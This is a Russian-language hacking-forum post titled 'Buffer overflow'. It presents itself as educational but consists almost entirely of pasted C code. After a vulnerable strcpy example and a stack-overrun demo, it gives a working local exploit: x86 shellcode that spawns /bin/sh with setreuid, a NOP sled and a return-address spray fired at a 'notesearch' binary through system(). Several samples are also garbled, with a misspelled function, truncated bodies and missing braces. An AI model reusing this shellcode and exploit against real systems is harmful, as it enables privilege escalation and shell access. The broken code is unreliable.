Ваш ключ: необходима авторизация | MyProxy - бесплатный обменник валидных прокси между пользователями форума.

Авторская статья Переполнение буфера

Тема в разделе Тематики, создана пользователем noname, 4 июн 2016.

Войдите для ответа
  1. noname Заблокирован

    noname
    Статус:
    Вне сети
    Сообщения:
    256
    Симпатии:
    267
    Регистрация:
    11.02.16
    Если где-нибудь была допущена ошибка, прошу - поправьте меня, хотя это маловероятно.
    Понимаю, что большинство сидящих здесь людей, никогда не слыхали о такой уязвимости, как переполнение буфера, но все же - я решил сделать статью, исключительно в ознакомительных целях. :kappa:

    Честно говоря, я не знаю, что говорить дальше, по этому приведу вам простой пример, приведенный одним моим знакомым с зарубежного борда, именно благодаря ему - я решил запилить эту статью здесь.

    #include <stdio.h>
    #include <string.h>
    int main(int argc, char *argv[]) {
    int value = 5;
    char buffer_1[8];
      strcopy(buffer_1, "ONEAB"); // copy "ONEAB" to buffer_1
      printf("[PRE] buffer_1 is at %p and contains \'%s\'\n", buffer_1, buffer_1); // post what it contains
      strcpy(buffer_1, argv[1]); /* trying to copy first arg. to buffer_1. */
      printf("[POST] buffer_1 is at %p and contains \'%s\'\n", buffer_1, buffer_1);
    Вот это взято с этого сайта:
    /*
      StackOverrun.c
      This program shows an example of how a stack-based
      buffer overrun can be used to execute arbitrary code.  Its
      objective is to find an input string that executes the function bar.
    */
    
    #pragma check_stack(off)
    
    #include <string.h>
    #include <stdio.h>
    
    void foo(const char* input)
    {
        char buf[10];
    
        printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n% p\n\n");
    
        strcpy(buf, input);
        printf("%s\n", buf);
    
        printf("Now the stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
    }
    
    void bar(void)
    {
        printf("Call Dr.Felix Thomas\n"); // yay, that's me
    }
    
    int main(int argc, char* argv[])
    {
        //Blatant cheating to make life easier on myself
        printf("Address of foo = %p\n", foo);
        printf("Address of bar = %p\n", bar);
        if (argc != 2)
    {
            printf("Please supply a string as an argument!\n");
            return -1;
        }
    foo(argv[1]);
        return ;
    Вот ещё один эксплоит:
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    char shellcode[]=
    "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
    "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
    "\xe1\xcd\x80";
      // hold tight
    int main(int argc, char *argv[]) {
    unsigned int i, *ptr, ret, offset=270;
    char *command, *buffer;
    command = (char *) malloc(200);
    bzero(command, 200);
    strcpy(command, "./notesearch \'"); // ...
    buffer = command + strlen(command); // ...
    if(argc > 1) // Set offset.
    offset = atoi(argv[1]);
    ret = (unsigned int) &i - offset; // Set rtn  address.
    for(i=0; i < 160; i+=4) // Fill buffer with rtn  address.
    *((unsigned int *)(buffer+i)) = ret;
    memset(buffer, 0x90, 60);
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
    strcat(command, "\'");
    system(command); // Run the exploit
    free(command);
    }
    
    (Советую, для хотя-бы какого нибудь понимания команд - перевести коды выше, хотя-бы в элементарном переводчике. Если вы ничего не поняли - простите, я не виноват, кому было интересно - тот во всем разберется - и поймет. Примеры выше от DoctorT)
     
    4 июн 2016 #1
    #Light нравится это.
Top